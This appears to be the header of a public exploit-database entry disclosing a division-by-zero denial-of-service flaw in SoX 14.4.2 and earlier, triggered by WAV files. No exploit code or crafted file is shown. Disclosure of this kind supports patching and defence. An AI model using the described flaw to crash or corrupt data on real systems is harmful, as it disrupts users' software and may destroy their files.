SoX 14.4.2 – Denial Of Service
# Exploit Title: SoX 14.4.2 - Denial Of Service # Exploit Author: LiquidWorm Vendor: Chris Bagwell Product web page: http://sox.sourceforge.net https://en.wikipedia.org/wiki/SoX Affected version: <=14.4.2 Summary: SoX (Sound eXchange) is the Swiss Army knife of sound processing tools: it can convert sound files between many different file formats and audio devices, and can apply many sound effects and transformations, as well as doing basic analysis and providing input to more capable analysis and plotting tools. Desc: SoX suffers from a division by zero attack when handling WAV files, resulting in denial of service vulnerability and possibly loss of data.
